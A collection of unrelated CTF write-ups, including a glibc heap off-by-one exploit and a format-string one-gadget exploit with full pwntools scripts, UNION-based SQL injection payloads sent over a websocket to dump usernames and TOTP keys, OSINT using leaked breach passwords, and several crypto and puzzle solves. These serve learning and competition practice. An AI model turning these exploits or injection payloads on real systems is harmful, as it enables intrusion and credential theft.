text_chunk
stringlengths
151
703k
# Babyheapby mito ## 27 solves, 620pt * This is a heap challenge with an `off-by-one single byte null overflow` vulnerability. * This challenge is similar to `RCTF 2018 babyheap`([https://ctftime.org/task/6116](https://ctftime.org/task/6116)). * However, since it is copied to the heap with strcpy, it is different that multiple null bytes cannot be written at once. * Therefore, writing to the heap multiple times writes NULL to the heap. The code for the Create function is as follows. ```unsigned __int64 create(){ size_t nbytes; // [rsp+4h] [rbp-41Ch] unsigned int v2; // [rsp+Ch] [rbp-414h] char buf[1032]; // [rsp+10h] [rbp-410h] unsigned __int64 v4; // [rsp+418h] [rbp-8h] v4 = __readfsqword(0x28u); v2 = 10; for ( HIDWORD(nbytes) = 0; HIDWORD(nbytes) <= 9; ++HIDWORD(nbytes) ) { if ( !ptrs[HIDWORD(nbytes)] ) { v2 = HIDWORD(nbytes); break; } } if ( v2 == 10 ) { puts("no free slots\n"); } else { printf("\nusing slot %u\n", v2); printf("size: "); __isoc99_scanf("%u", &nbytes); if ( (unsigned int)nbytes <= 0x3FF ) { printf("data: "); LODWORD(nbytes) = read(0, buf, (unsigned int)nbytes); buf[(unsigned int)nbytes] = 0; ptrs[v2] = (const char *)malloc((unsigned int)nbytes); strcpy((char *)ptrs[v2], buf);            <-- off-by-one single byte null overflow puts("chunk created\n"); } else { puts("maximum size exceeded\n"); } } return __readfsqword(0x28u) ^ v4;}``` The first heap state is as follows. ```0x555555758180: 0x4343434343434343 0x43434343434343430x555555758190: 0x4343434343434343 0x43434343434343430x5555557581a0: 0x0000000000000000 0x00000000000000710x5555557581b0: 0x4444444444444444 0x44444444444444440x5555557581c0: 0x4444444444444444 0x44444444444444440x5555557581d0: 0x4444444444444444 0x44444444444444440x5555557581e0: 0x4444444444444444 0x44444444444444440x5555557581f0: 0x4444444444444444 0x44444444444444440x555555758200: 0x4444444444444444 0x44444444444444440x555555758210: 0x0000000000000000 0x0000000000000101 <-- here0x555555758220: 0x4545454545454545 0x45454545454545450x555555758230: 0x4545454545454545 0x4545454545454545``` Set prev_size = 0x200, PREV_INUSE = 0 by allocating the area as shown below. ```Alloc(0x68, "G"*0x60+p64(0x200))Free(0)``` ```pwndbg> x/120gx 0x5555557580000x555555758000: 0x0000000000000000 0x00000000000000000x555555758010: 0x0000000000000000 0x00000000000000910x555555758020: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- unsortedbin link0x555555758030: 0x4141414141414141 0x41414141414141410x555555758040: 0x4141414141414141 0x4141414141414141...0x555555758180: 0x4343434343434343 0x43434343434343430x555555758190: 0x4343434343434343 0x43434343434343430x5555557581a0: 0x0000000000000000 0x00000000000000710x5555557581b0: 0x4747474747474747 0x47474747474747470x5555557581c0: 0x4747474747474747 0x47474747474747470x5555557581d0: 0x4747474747474747 0x47474747474747470x5555557581e0: 0x4747474747474747 0x47474747474747470x5555557581f0: 0x4747474747474747 0x47474747474747470x555555758200: 0x4747474747474747 0x47474747474747470x555555758210: 0x0000000000000200 0x0000000000000100 <-- prev_size = 0x200, PREV_INUSE = 00x555555758220: 0x4545454545454545 0x45454545454545450x555555758230: 0x4545454545454545 0x4545454545454545``` * If we free No.4 chunk (0x555555758220) in the above state, we can perform an` unsafe unlink attack`. * After this we can leak libc address and `fastbins unlink attack`.```Alloc(0x80, "H"*0x80)Print(1)Alloc(0xa0, "I"*0x88+p64(0x71)+p64(malloc_hook-0x23))``` * We can enter the address of `malloc_hook-0x23` in 0x70 size fastbins.```pwndbg> binsfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x555555758130 —▸ 0x7ffff7dd1aed (_IO_wide_data_0+301) ◂— 0xfff7a92e20000000 <-- here0x80: 0x0unsortedbinall: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x555555758140 ◂— 0x7ffff7dd1b78smallbinsemptylargebinsempty``` * We can write NULL to the stack, so we can run one-gadget-RCE```Alloc(0x60, "J"*0x5f)Alloc(0x60, "K"*0x13+p64(one_gadget)+"\x00"*0x40)Alloc(0x10, "Start sh!")``` Exploit code is below. ```# local ubuntu 16.04from pwn import * context(os='linux', arch='amd64')#context.log_level = 'debug' BINARY = './babyheap'elf = ELF(BINARY) if len(sys.argv) > 1 and sys.argv[1] == 'r': HOST = "35.186.153.116" PORT = 7001 s = remote(HOST, PORT) libc = ELF('libc6_2.23-0ubuntu10_amd64.so')else: s = process(BINARY) libc = elf.libc def Alloc(size, data): s.sendlineafter("> ", "1") s.sendlineafter("size: ", str(size)) s.sendlineafter("data: ", data) def Free(index): s.sendlineafter("> ", "2") s.sendlineafter("idx: ", str(index)) def Print(index): s.sendlineafter("> ", "3") s.sendlineafter("idx: ", str(index)) Alloc(0x80, "A"*0x80)Alloc(0x80, "B"*0x80)Alloc(0x60, "C"*0x60)Alloc(0x60, "D"*0x60)Alloc(0xf0, "E"*0xf0)Alloc(0x40, "F"*0x40) # off-by-one single byte null overflow# Alloc(0x68, "G"*0x60+p64(0x200))for i in range(0x68, 0x62, -1): Free(3) Alloc(i, "G"*i)Free(3)Alloc(0x62, "G"*0x61+"\x02")Free(3)Alloc(0x60, "G"*0x60) Free(0)Free(4) # libc leakAlloc(0x80, "H"*0x80)Print(1) s.recvuntil("data: ")r = s.recv(6) libc_leak = u64(r+'\x00\x00')libc_base = libc_leak - 0x3C4B78malloc_hook = libc_base + libc.symbols['__malloc_hook']one_gadget_offset = [0x45216, 0x4526a, 0xf02a4, 0xf1147]one_gadget = libc_base + one_gadget_offset[2]print "libc_leak =", hex(libc_leak)print "libc_base =", hex(libc_base)print "malloc_hook =", hex(malloc_hook)print "one_gadget =", hex(one_gadget) # fastbins unlink attack# Alloc(0xa0, "I"*0x88+p64(0x71)+p64(malloc_hook-0x23))Free(2)Alloc(0xa0, "I"*0x90+p64(malloc_hook-0x23))for i in range(0x8f, 0x88, -1): Free(2) Alloc(i, "I"*i)Free(2)Alloc(0x89, "I"*0x88+'\x71') Alloc(0x60, "J"*0x5f)Alloc(0x60, "K"*0x13+p64(one_gadget)+"\x00"*0x40) # start shAlloc(0x10, "Start sh!") s.interactive() '''$ python exploit.py r[*] '/home/mito/CTF/IJCTF_2020/Pwn_Babyheap/babyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to 35.186.153.116 on port 7001: Done[*] '/home/mito/CTF/IJCTF_2020/Pwn_Babyheap/libc6_2.23-0ubuntu10_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledlibc_leak = 0x7faccdd9bb78libc_base = 0x7faccd9d7000malloc_hook = 0x7faccdd9bb10one_gadget = 0x7faccdac72a4[*] Switching to interactive mode$ ls -ltotal 40-rwxr-x--- 1 0 1000 12944 Apr 19 09:46 babyheapdrwxr-x--- 1 0 1000 4096 Apr 19 02:24 bindrwxr-x--- 1 0 1000 4096 Apr 19 02:23 dev-rwxr----- 1 0 1000 37 Apr 19 09:50 flag.txtdrwxr-x--- 1 0 1000 4096 Apr 19 02:23 libdrwxr-x--- 1 0 1000 4096 Apr 19 02:23 lib32drwxr-x--- 1 0 1000 4096 Apr 19 02:23 lib64$ cat flag.txtIJCTF{4_v3ry_v3ry_p00r_h34p0v3rfl0w}'''```
We understand that the service is doing XOR encryption. We connect to it and thee that there is the encrypted flag and that we can encrypt anything we want. ```$ nc cha.hackpack.club 41715Welcome to CryptoKid's Hall of MirrXors!Here is BASE64(ENC(FLAG, SESSION_KEY)) => bwHJ1+IUTxTLWyYalXkyC3m5B4lRj+4BerJ3S/WxWj4kKbbqdx/M6nh8bCE+C0ZjJJc9hKHMPSTwUQ==Wanna guess what FLAG is? qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqHere is BASE64(ENC(GUESS, SESSION_KEY)) => eBzZwegLDhGXXj9YyWVzCXzlR5VQjKwDePJwCamwRw9kNrOofhqQ7Xxhc30tD0M/Io582LP9PmbyXXgc2cHoCw4Rl14/WMllcwl85UeVUIysA3jyHow'd you do??``` We have a known clear text attack on a XOR encryption. We just need to XOR the encoded flag to our encrypted plain text qqqqqq… then XOR it again with our clear plain text. Here is the Cyber Chef recipe that give us the flag: flag{n0t-th3-m0st-1mpr3ss1v3-pl@1nt3xt-vuln-but-wh0-c@r3s}.
# Block Gate > A fun Minecraft redstone challenge. >As this is sorta a forensics challenge it may be a good idea to backup the world folder so you don't have to download it over and over (however, there are MANY ways to solve this challenge and you do not necessarily need to make a backup). >Happy hacking! > Abjuri5t (John F.) >p.s. Look left immeditaly after spawning-in and see what the water does :-) So in this challenge, we're given a zip file of a Minecraft save. The creator stated that there are **many** different solutions, even some that don't require people to have Minecraft.This solution involves having Minecraft. So first up, upon loading the game, we see that a giant waterfall is coming down and is about to destroy the redstone circuit. Clearly, the goal is to save the circuit through any means necessary. So that's why I decided that sponge is the answer.![Sponge Saves The Day](./images/Sponge.png) This did require saving a backup of the world.What this solution did was basically use the Minecraft command `/fill x1 y1 z1 x2 y2 z2 minecraft:sponge` to replace all blocks from corner 1 to corner 2 with sponges. Although there was a minor spillage, it did not affect the circuits (thankfully). Now comes staring at the flashing lamps and figuring out what in the world is going on. ![Lamps](./images/MCLamps.png) Here are all the blocks with everything lit up. Seeing this reminded me of 7 Segment Display, a very common type of display on clocks. Initially, seeing the flag itself was hard, but after being reassured that the challenge is in WPI{} flag format, it became clear where the WPI actually was. ![Final Order](./images/7SegOrder.png) After this revelation, the order of the flashing became clear. From there we simply extract the flag. `WPI{02301}`
# Houseplant CTF 2020 – Blog from the future * **Category:** web* **Points:** 1922 ## Challenge > My friend Bob likes sockets so much, he made his own blog to talk about them. Can you check it out and make sure that it's secure like he assured me it is?> > http://challs.houseplant.riceteacatpanda.wtf:30003> > Dev: jammy ## Solution A post in the home page says the following. ```I finally upgraded my blog to use the tech of the future! I'm now using state of the art protection to defend from those pesky spammers... however, I still have to replace my database software to be truly able to call my blog "futuristic". :/``` Doing some recon, the following file can be found: `http://challs.houseplant.riceteacatpanda.wtf:30003/robots.txt`. ```User-Agent: *Disallow: /admin``` So you can discover an administration page at `http://challs.houseplant.riceteacatpanda.wtf:30003/admin`. ```html <html> <head> <title>Bob's Socket Reviews Administrative Panel</title> <link rel='stylesheet' href='/stylesheets/style.css' /> <link rel='stylesheet' href='/stylesheets/admin.css' /> </head> <body> <h1>Bob's Socket Reviews Administrative Panel</h1> <hr /> <form method="POST"> <input type="text" name="username" placeholder="Username" /> <input type="password" name="password" placeholder="Password" /> <input type="submit" value="Log in" /> </form> </body></html>``` Despite the interesting HTML comment, even changing the input field from `password` to `totp` will show that the authentication form is not vulnerable to SQL injection. You can only discover that the username is `bob`, because for nonexistent user, the authentication answers `User not found`, otherwise it answers `Login failed`. Analyzing the websockets traffic, you can discover that posts are retrieved with a packet like the following. ![websockets-traffic.png](https://github.com/m3ssap0/CTF-Writeups/raw/master/Houseplant%20CTF%202020/Blog%20from%20the%20future/websockets-traffic.png) The second part of the packet is the post ID passed using the value specified like URL fragment (i.e. after `#`). Analyzing the code in the client side, you can discover that 6 parameters are read form the server response:* `author`;* `hidden`, this value seems interesting, because now we know that hidden posts are present;* `id`;* `postDate`;* `text`;* `title`. ![client-code.png](https://github.com/m3ssap0/CTF-Writeups/raw/master/Houseplant%20CTF%202020/Blog%20from%20the%20future/client-code.png) You can try a SQL injection on data passed using fragment values. ```http://challs.houseplant.riceteacatpanda.wtf:30003/#3/**/union/**/select/**/null,null,null,null,null,null``` Users can be read with the following. ```http://challs.houseplant.riceteacatpanda.wtf:30003/#3/**/union/**/select/**/null,username,null,null,null,null/**/from/**/users``` And the flag can be discovered reading all posts. ```http://challs.houseplant.riceteacatpanda.wtf:30003/#3/**/union/**/select/**/null,null,null,text,null,null/**/from/**/posts``` ![sqli.png](https://github.com/m3ssap0/CTF-Writeups/raw/master/Houseplant%20CTF%202020/Blog%20from%20the%20future/sqli.png) The flag is the following. ```rtcp{WebSock3t5_4r3_SQLi_vu1n3r4b1e_t00_bacfe0}```
When looking at the downloaded content we fount that the file frames/game-frame.js is downloaded. It contains 248 311 characters as the following: ```[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[]<SNIP>``` This is JSfuck. We use an online decoder to decode it. The output is some clear JavaScript. ```parent.postMessage(window.location.toString(),"*");var originalAlert=window.alert;window.alert=function(t){parent.postMessage("success","*"),flag=atob("ZmxhZ3t4NTVfaTVOdF83aEE3X2JBRF9SMUdoNz99"),setTimeout(function(){originalAlert("Congratulations, you executed an alert:\n\n"+t+"\n\nhere is the flag: "+flag)},50)};``` We where probably supposed to do some XSS to get the flag but we got it either way. ```$ echo -ne 'ZmxhZ3t4NTVfaTVOdF83aEE3X2JBRF9SMUdoNz99' | base64 -dflag{x55_i5Nt_7hA7_bAD_R1Gh7?}[```
The webpage contain the following: Treasure of the Pirates!It should in some of this (or hidden) island! Hint: you need a map of this place to find it! ```Island #0Island #1<SNIP>Island #9998Island #9999``` We are looking for the map. We check robots.txt: it contains: Sitemap: /treasuremap.xml The file /treasuremap.xml contain the location of the "treasure": ```<urlset><url><loc>7BmqJfhWhEa30NeVj7j2.html</loc><lastmod>2005-01-01</lastmod><changefreq>monthly</changefreq><priority>0.8</priority></url>```</urlset> And the "treasure" contain the flag: flag{tr3asur3_hunt1ng_fUn}
# DawgCTF 2020 – Impossible Pen Test These are multiple challenges connected together. ## Impossible Pen Test Part 1 * **Category:** forensics (OSINT)* **Points:** 50 ### Challenge > Welcome! We're trying to hack into Burke Defense Solutions & Management, and we need your help. Can you help us find the password of an affiliate's CEO somewhere on the internet and use it to log in to the corporate site? https://theinternet.ctf.umbccd.io/> > (no web scraping is required to complete this challenge)> > author: pleoxconfusa ### Solution On the corporate website `https://theinternet.ctf.umbccd.io/burkedefensesolutions.html` you can discover the following message. ```A message from our CEOSpecial thanks to Todd Turtle from Combined Dumping & Co for babysitting our kids! Special thanks to Mohamed Crane from Babysitting, LLC for helping us take out the trash! Special thanks to Sonny Bridges from Oconnell Holdings for freeing up our finances! Special thanks to Emery Rollins from Combined Finance, Engineering, Scooping, Polluting, and Dumping, Incorporated for helping make the world a better place! - Truman Gritzwald, CEO``` On the personal profile of Emery Rollins `` you can discover a post taling about a data breach. ```OMG just found out about the charriottinternational data breach repo!``` It seems that several people listed in the message of the CEO used that hotel. Searching for the data breach will return: `https://theinternet.ctf.umbccd.io/SecLists/charriottinternational.txt`. E-mails of the people can be found in their professional pages. ```Todd Turtlehttps://theinternet.ctf.umbccd.io/SyncedIn/DogeCTF%7BToddTurtle%7D.html[email protected] Mohamed Cranehttps://theinternet.ctf.umbccd.io/SyncedIn/DogeCTF%7BMohamedCrane%7D.html[email protected][email protected] Sonny Bridgeshttps://theinternet.ctf.umbccd.io/SyncedIn/DogeCTF%7BSonnyBridges%7D.html[email protected] Emery Rollinshttps://theinternet.ctf.umbccd.io/SyncedIn/DogeCTF%7BEmeryRollins%7D.html[email protected][email protected]``` Credentials for the Sonny Bridges e-mail can be found. ```[email protected] fr33f!n@nc3sf0r@ll!``` Trying to login into corporate website will give you the flag. ```DawgCTF{th3_w3@k3s7_1!nk}``` ## Impossible Pen Test Part 2 * **Category:** forensics (OSINT)* **Points:** 50 ### Challenge > Welcome! We're trying to hack into Burke Defense Solutions & Management, and we need your help. Can you help us find a disgruntled former employee somewhere on the internet (their URL will be the flag)?> > https://theinternet.ctf.umbccd.io/> > (no web scraping is required to complete this challenge)> > author: pleoxconfusa ### Solution On the corporate website `https://theinternet.ctf.umbccd.io/burkedefensesolutions.html` you can discover the name of the CEO: `Truman Gritzwald`. On its FaceSpace `https://theinternet.ctf.umbccd.io/FaceSpace/DogeCTF%7BTrumanGritzwald%7D.html` you can discover that he fired the CFO, so he could be the disgruntled former employee. ```Nov 27, 2019About to fire my CFO!``` You can also discover the name of the CTO, Isabela Baker, and the name of Madalynn Burke. Madalynn Burke is no more the CISO, according to her professional profile at `https://theinternet.ctf.umbccd.io/SyncedIn/DogeCTF%7BMadalynnBurke%7D.html`. ```01/2020 - PresentCybersanitation Engineer - Barber Pollute and Babysitting, Limited 09/2019 - 01/2020CISO - Burke Defense Solutions & Management``` But on her FaceSpace `https://theinternet.ctf.umbccd.io/FaceSpace/DogeCTF%7BMadalynnBurke%7D.html` you can discover another person: Royce Joyce, the CTO. ```Sep 27, 2019[Pictured: a hacker and some guy and my parents]Great dinner with CTO Royce Joyce!``` Analyzing the personal profile of Royce Joyce `https://theinternet.ctf.umbccd.io/FaceSpace/DogeCTF%7BRoyceJoyce%7D.html` you can discover other people named in a post. ```Meet the team! Carlee Booker, Lilly Lin, Damian Nevado, Tristen Winters, Orlando Sanford, Hope Rocha, and Truman Gritzwald.``` One of them, Tristen Winters, is the current Chief Information Security Officer and on his personal profile `https://theinternet.ctf.umbccd.io/FaceSpace/DogeCTF%7BTristenWinters%7D.html` warns about a person called Rudy Grizwald. ```Nov 28, 2019[Pictured: hackers]Everyone should ignore Rudy Grizwald's messages``` Analyzing the professional profile of Rudy Grizwald, `https://theinternet.ctf.umbccd.io/SyncedIn/DawgCTF%7BRudyGrizwald%7D.html`, you can discover he was the CFO. ```11/2019 - PresentData Breacher - Combined Teach, Inc. 1/2019 - 11/2019Chief Financial Officer - Burke Defense Solutions & Management``` And on the personal profile `https://theinternet.ctf.umbccd.io/FaceSpace/DawgCTF%7BRudyGrizwald%7D.html` you can discover he is mad at the CEO. ```Nov 28, 2019Truman Gritzwald is a bad CEO.``` The flag is the following. ```DawgCTF{RudyGrizwald}``` ## Impossible Pen Test Part 3 * **Category:** forensics (OSINT)* **Points:** 100 ### Challenge > Welcome! We're trying to hack into Burke Defense Solutions & Management, and we need your help. Can you help us find the mother of the help desk employee's name with their maiden name somewhere on the internet (the mother's URL will be the flag)?> > https://theinternet.ctf.umbccd.io/> > (no web scraping is required to complete this challenge)> > author: pleoxconfusa ### Solution One of the people discovered before, Orlando Sanford, is the Help Desk Worker, accordig to his professional profile at `https://theinternet.ctf.umbccd.io/SyncedIn/DogeCTF%7BOrlandoSanford%7D.html`. Analyzing his personal profile at `https://theinternet.ctf.umbccd.io/FaceSpace/DogeCTF%7BOrlandoSanford%7D.html` you can discover a post referred to his mother. ```Jun 01, 2018[Pictured: Alexus Cunningham]My mom defenestrates a cat!``` Checking on her personal profile `https://theinternet.ctf.umbccd.io/FaceSpace/DawgCTF%7BAlexusCunningham%7D.html` you can confirm she is his mother. ```Alexus Cunningham In a relationship with: Marely BruceChild: Orlando Sanford``` So the flag is the following. ```DawgCTF{AlexusCunningham}``` ## Impossible Pen Test Part 4 * **Category:** forensics (OSINT)* **Points:** 100 ### Challenge > Welcome! We're trying to hack into Burke Defense Solutions & Management, and we need your help. Can you help us find the syncedin page of the linux admin somewhere on the internet (their URL will be the flag)?> > https://theinternet.ctf.umbccd.io/> > (no web scraping is required to complete this challenge)> > author: pleoxconfusa ### Solution Hope Rocha, discovered before, was a Linux admin, according to his professional profile on SyncedIn `https://theinternet.ctf.umbccd.io/SyncedIn/DogeCTF%7BHopeRocha%7D.html`, but he is not the current one. ```12/2018 - 08/2019Linux Admin - Burke Defense Solutions & Management``` According to his personal profile `https://theinternet.ctf.umbccd.io/FaceSpace/DogeCTF%7BHopeRocha%7D.html` the new Linux admin is Guillermo McCoy. ```Aug 18, 2018[Pictured: Guillermo McCoy]Meet your new Linux Admin for Burke Defense Solutions & Management!``` Checking his professional profile at `https://theinternet.ctf.umbccd.io/SyncedIn/DawgCTF%7BGuillermoMcCoy%7D.html` will reveal that it's correct. ```Guillermo McCoy [email protected][email protected][email protected][email protected][email protected] 08/2019 - PresentLinux Admin - Burke Defense Solutions & Management``` So the flag is the following. ```DawgCTF{GuillermoMcCoy}``` ## Impossible Pen Test Part 5 * **Category:** forensics (OSINT)* **Points:** 100 ### Challenge > Welcome! We're trying to hack into Burke Defense Solutions & Management, and we need your help. Can you help us find the CTO's password somewhere on the internet and use it to log in to the corporate site?> > https://theinternet.ctf.umbccd.io/> > (no web scraping is required to complete this challenge)> > author: pleoxconfusa ### Solution Royce Joyce is the CTO and he has two e-mails (`https://theinternet.ctf.umbccd.io/SyncedIn/DogeCTF%7BRoyceJoyce%7D.html`). ```[email protected][email protected]``` Analyzing his personal profile `https://theinternet.ctf.umbccd.io/FaceSpace/DogeCTF%7BRoyceJoyce%7D.html` you can discover a data breach. ```Sep 07, 2019Apparently skayou had a data breach? LOL``` Searching for the data breach will return: `https://theinternet.ctf.umbccd.io/SecLists/skayou.txt`. And one of its e-mails can be found with a password. ```[email protected] c0r^3cth0rs3b@tt3ryst@p\3``` Trying to login into corporate website will give you the flag. ```DawgCTF{xkcd_p@ssw0rds_rul3}```
# dorsia3 250pts (55 solves) # ![TASK](https://imgur.com/vFmQYat.png) We have a format string vulnerability and a leak of the buffer and system address so my idea was to overwrite the saved eip with the address of a one gadget from libc , we have all what we need so here is my full exploit. I'll post a detailed writeup about this task in the next few days on my personal website so stay tuned (my twitter @BelkahlaAhmed1)! ![CODE](https://imgur.com/GSFhTJW.png) ```python from pwn import *def pad(str): return str+(60-len(str))*"B"#p=process("./nanoprint")p=remote("dorsia3.wpictf.xyz",31337)data=p.recvline()BUFFER=int(data[:10],16)SYSTEM=int(data[-11:-1],16)+288log.info("Buffer starts: "+hex(BUFFER))log.info("System address: "+hex(SYSTEM))BASE=SYSTEM-0x3d200one_gadget=BASE+0x3d0e0RET=BUFFER+0x71RET2=RET+2log.info("Writing to: "+hex(RET))payload="B"payload+=p32(RET)payload+=p32(RET2)off1=(one_gadget & 0xffff)-9off2=int(hex(one_gadget & 0xffff0000)[:-4],16)-(one_gadget & 0xffff)log.info("one gadget address: "+hex(one_gadget))log.info("offset1 and 2: "+str(off1)+"|"+str(off2))payload+="%"+str(off1)+"x"payload+="%7$hn"payload+="%"+str(off2)+"x"payload+="%8$hn"#pause()p.sendline(pad(payload))p.interactive() #Offset buffer-ret : +0x71#offset fmt 7 ``` **Note:** : Here is the [binary](https://github.com/kahla-sec/CTF-Writeups/blob/master/WPI%20CTF%202020/dorsia3/nanoprint) and the [libc](https://github.com/kahla-sec/CTF-Writeups/blob/master/WPI%20CTF%202020/dorsia3/libc.so.6) For any questions you can contact me on twitter @BelkahlaAhmed1 and thank you :D
The index.php file is available: ``` ". md5($_REQUEST["combination"]); } if(md5($_REQUEST["combination"]) == $hash){ echo " The Flag is flag{...}"; } else{ echo "Wrong!"; } }?>``` The value of hash is just a number using scientific notation. This is a php loose comparison. Using a input that will also be considered as a number will set the condition to true. We use 240610708, which md5 hash is 0e462097431906509019562988736854, as a password and we got the flag. The Flag is flag{!5_Ph9_5TronGly_7yPed?}
# Weeb Radio >A rogue attacker has hacked into our otaku radio station! We believe that he is stealing our rare memes and waifu secrets... please find out what he's saying! >made by rm -k >Hint: 八月十四日です。マンチェスターからのライブ W P I F M です。 So in this chall, we've been thrown an mp3 filled with weeb music. However, after a bit, the audio alternates between the left channel and right channel. This could indicate some kind of binary... ![View of Weeb Radio](./images/AudioSample.png) Just focusing on the lengths of each switch, you can see that there are "long" segments and "short" segments. Now need to convert the segments into one of: * Short left * Short right * Long left * Long right You can either do it manually, write a script to do it, or, in my case, have a teammate who seems to spend an entire day devoted to doing CTFs, and have them do it manually (you're a hero joseph). The end result should be something like this:```SHORT LEFT - 1SHORT RIGHT - 0LONG LEFT - ALONG RIGHT - B 010AB1010AB101010AB10AB101010101010AB10AB10AB1010101010AB1010AB10AB1010AB101010101010ABAB101010AB10AB1010AB10101010101010AB1010AB101010AB10101010101010AB10AB1010101010AB1010AB101010AB10101010101010AB10AB10AB1010AB101010AB10AB10AB1010AB10AB10AB101010101010AB1010ABAB101010AB10AB1010AB101010AB1010AB1010AB10AB101010AB1010AB1010101010AB10101010AB1010AB1010101010101010AB1010AB1010AB10101010101010AB1010101010AB10AB10AB1010AB101010AB1010AB10101010AB101010AB10101010AB1010AB101010101010AB10101010AB101010101010AB10101010AB101010101010AB101010101010AB101010101010AB1``` Now, this is where the hint comes in handy. From Japanese to English, the hint translates to the following:`It is August 14th. Live from Manchester WPIFM` There are a couple of vital pieces of info in this hint. First off looking at "Live from **Manchester**". This is a critical hint that refers to [Manchester Code](https://en.wikipedia.org/wiki/Manchester_code). With this lead, we can convert the A's and B's into 11 and 00 respectively, resulting in:```0101100101011001010101100101100101010101010110010110010110010101010101100101011001011001010110010101010101011001100101010110010110010101100101010101010101100101011001010101100101010101010101100101100101010101011001010110010101011001010101010101011001011001011001010110010101011001011001011001010110010110010110010101010101011001010110011001010101100101100101011001010101100101011001010110010110010101011001010110010101010101100101010101100101011001010101010101010110010101100101011001010101010101011001010101010110010110010110010101100101010110010101100101010101100101010110010101010110010101100101010101010110010101010110010101010101011001010101011001010101010101100101010101010110010101010101011001```Just throwing it into a Manchester Code decoder resulted in meaningless junk... so clearly there has to be another step (the people over at WPI never seem to make their challenges *that* easy). Now we need another piece of important information from the hint, **August 14**, or more accurately, **8/14**. Just googling "8/14" and relating it to signals results in [eight-to-fourteen modulation](https://en.wikipedia.org/wiki/Eight-to-fourteen_modulation). It essentially turns 8 bit data and encodes it into 14 bits, so to decode our mysterious sequence of 1's and 0's, we simply split it into chunks of 14 bits, and then decode. Splitting it gives us:```['00100010000100', '10000000100100', '10000001000100', '10001000000010', '10000100100010', '00000001000100', '00100000000100', '10000001000100', '00100000000100', '10010001000010', '01001000100100', '10000000100010', '10000100100010', '00010001000100', '10000100010000', '00100000100010', '00000000100010', '00100000000100', '00001001001000', '10000100010000', '01000010000010', '00100000001000', '00100000001000', '00100000001000', '00001000000010']```And now we simply decode!thankfully, there is a convenient [conversion table](www.physics.udel.edu/~watson/scen103/efm.html) online that can help us convert data using eight-to-fourteen modulation. Now comes the final stretch! Simply decode and get that sweet, beautiful flag. `WPI{aM_I_j@paN3se_y3t???}`
# Houseplant CTF 2020 – Broken Yolks * **Category:** crypto* **Points:** 50 ## Challenge > Fried eggs are the best.> > Oh no! I broke my yolk... well, I guess I have to scramble it now.> > Ciphertext: smdrcboirlreaefd> > Dev: Delphine> Hint! words are separated with underscores ## Solution Playing a little bit with the letters, you can find the flag. ```rtcp{scrambled_or_fried}```
I did not solve this challenge during the CTF. `strncmp()` compares the md5 values in raw bytes instead of hex strings.The third byte of the md5 value being compared with is a NULL byte, and `strncmp()` stops at NULL bytes, which means we can make an easy md5 collision.
If you look at the source code of the challenge you can see they used browserify for bundling the dependencies. I wrote my version of this client so you can check those dependencies at the link end of this writeup. But in this writeup we are gonna use chrome developer console, put breakpoint in a good place and take control of the socket. Test manually and leak totp keys. ![image-20200427112039042](https://github.com/BirdsArentRealCTF/Writeups/raw/master/houseplant2020/blog-from-the-future/image-20200427112039042.png) I choose 2146th line because we can see response from server in here. And we can access to websocket and msgpack class. ![image-20200427112558712](https://github.com/BirdsArentRealCTF/Writeups/raw/master/houseplant2020/blog-from-the-future/image-20200427112558712.png) After we get those we can manually test our payloads. ```javascriptr.send(o.encode(["getPost", "1"]))``` ![image-20200427112824345](https://github.com/BirdsArentRealCTF/Writeups/raw/master/houseplant2020/blog-from-the-future/image-20200427112824345.png) ```jsonauthor: 1hidden: 0id: 2postDate: 1580947200000text: "They're pretty cool, in my opinion."title: "A review of American sockets"``` This is the post structure. Mind the hidden field because if its true we can't see it. https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification using these payloads we can identify database system and develop payload for it. ```javascriptr.send(o.encode(["getPost", "1 and sqlite_version()=sqlite_version()"]))``` It worked so we have sqlite backend. We can leak database structure with payload below. ```javascriptr.send(o.encode(["getPost", "999 or 1=1 UNION SELECT sql,sql,sql,sql,sql,0 from sqlite_master"]))``` This payload allows us to see whole database structure. ```sqlCREATE TABLE "users" ( "id" INTEGER PRIMARY KEY AUTOINCREMENT, "username" TEXT NOT NULL, "totp_key" TEXT NOT NULL)CREATE TABLE "posts" ( "id" INTEGER PRIMARY KEY AUTOINCREMENT, "title" TEXT NOT NULL, "author" INTEGER NOT NULL, "text" TEXT NOT NULL, "postDate" INTEGER NOT NULL, "hidden" INTEGER DEFAULT 0)``` After find out column names we can get user names and totp keys. ```javascriptr.send(o.encode(["getPost", "999 or 1=1 UNION SELECT username,totp_key,0,0,0,0 from users "]));``` ```javascript{id: "alice", title: "J5YD4O2BIZYEMVJYIY3F24S3GQ2VC3ZTKJQVW5JFJUYHKODXORQQ", author: 0, text: 0, postDate: 0, …}{id: "bob", title: "IE3V2RR4HRLUEOBDLVCWCQTYF5LT6RTCONNDMULGGJGS4STUMYWA", author: 0, text: 0, postDate: 0, …}``` After leaking user names and totp keys we need to create totp password. I used pyotp library. ```pythonimport pyotptotp = pyotp.TOTP('IE3V2RR4HRLUEOBDLVCWCQTYF5LT6RTCONNDMULGGJGS4STUMYWA')totp.now() # => '677619'``` Login and get the flag! Don't forget to check my automated blind boolean script https://github.com/BirdsArentRealCTF/Writeups/blob/master/houseplant2020/blog-from-the-future/index.html Do you have any questions or suggestion? Feel free to contact via discord. **enjloezz#7444**
